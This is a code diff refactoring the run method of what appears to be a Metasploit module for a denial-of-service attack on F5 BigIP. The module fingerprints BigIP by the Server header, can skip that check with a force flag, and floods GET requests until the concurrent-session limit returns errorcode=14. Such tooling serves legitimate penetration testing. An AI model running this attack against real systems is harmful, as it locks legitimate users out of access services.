@@ -50,52 +50,46 @@ def initialize(info = {})
50
50
end
51
51
52
52
def run
53
- # Main function
54
- rlimit = datastore [ 'RLIMIT' ]
53
+ limit = datastore [ 'RLIMIT' ]
55
54
force_attack = datastore [ 'FORCE' ]
56
55
57
- # Send an initial test request
58
56
res = send_request_cgi ( 'method' => 'GET' , 'uri' => '/' )
59
- if res
60
- server = res . headers [ 'Server' ]
61
- # Simple test based on HTTP Server header to detect BigIP virtual server
62
- unless force_attack
63
- if server !~ /BIG\- IP/ && server !~ /BigIP/
64
- print_error ( "#{ peer } - BigIP virtual server was not detected. Please check options" )
65
- return
66
- end
67
- end
68
- print_good ( "#{ peer } - Starting DoS attack" )
69
- else
70
- print_error ( "#{ peer } - Unable to connect to BigIP. Please check options" )
57
+
58
+ unless res
59
+ print_error ( "#{ peer } - No answer from the BigIP server" )
71
60
return
72
61
end
73
62
63
+ # Simple test based on HTTP Server header to detect BigIP virtual server
64
+ server = res . headers [ 'Server' ]
65
+ unless server =~ /BIG\- IP/ || server =~ /BigIP/ || force_attack
66
+ print_error ( "#{ peer } - BigIP virtual server was not detected. Please check options" )
67
+ return
68
+ end
69
+
70
+ print_status ( "#{ peer } - Starting DoS attack" )
71
+
74
72
# Start attack
75
- ( 1 .. rlimit ) . each do
73
+ limit . times do
76
74
res = send_request_cgi ( 'method' => 'GET' , 'uri' => '/' )
77
- if res && res . headers [ 'Location' ] == '/my.logout.php3?errorcode=14'
78
- print_good ( "#{ peer } - The maximum number of concurrent user sessions has been reached. No new user sessions can start at this time" )
79
- print_good ( "#{ peer } - DoS attack is successful" )
75
+ if res && res . headers [ 'Location' ] =~ /\/ my\. logout\. php3\? errorcode=14/
76
+ print_good ( "#{ peer } - DoS accomplished: The maximum number of concurrent user sessions has been reached." )
80
77
return
81
78
end
82
79
end
83
80
84
- # Check if attack is unsuccessfull
81
+ # Check if attack has failed
85
82
res = send_request_cgi ( 'method' => 'GET' , 'uri' => uri )
86
- if res . headers [ 'Location' ] == '/ my.policy'
87
- print_status ( "#{ peer } - DoS attack is unsuccessful . Try to increase the RLIMIT number " )
83
+ if res . headers [ 'Location' ] =~ / \/ my.policy/
84
+ print_error ( "#{ peer } - DoS attack failed . Try to increase the RLIMIT" )
88
85
else
89
86
print_status ( "#{ peer } - Result is undefined. Try to manually determine DoS attack result" )
90
87
end
91
88
92
89
rescue ::Rex ::ConnectionRefused
93
- print_error ( "#{ peer } - Unable to connect to BigIP" )
90
+ print_error ( "#{ peer } - Unable to connect to BigIP. Maybe BigIP 'Max In Progress Sessions Per Client IP' counter was reached " )
94
91
rescue ::Rex ::ConnectionTimeout
95
- print_error ( "#{ peer } - Unable to connect to BigIP. Please check options" )
96
- rescue ::Errno ::ECONNRESET
97
- print_error ( "#{ peer } - The connection was reset. Probably BigIP \" Max In Progress Sessions Per Client IP\" counter was reached" )
98
- print_status ( "#{ peer } - DoS attack is unsuccessful" )
92
+ print_error ( "#{ peer } - Unable to connect to BigIP." )
99
93
rescue ::OpenSSL ::SSL ::SSLError
100
94
print_error ( "#{ peer } - SSL/TLS connection error" )
101
95
end
0 commit comments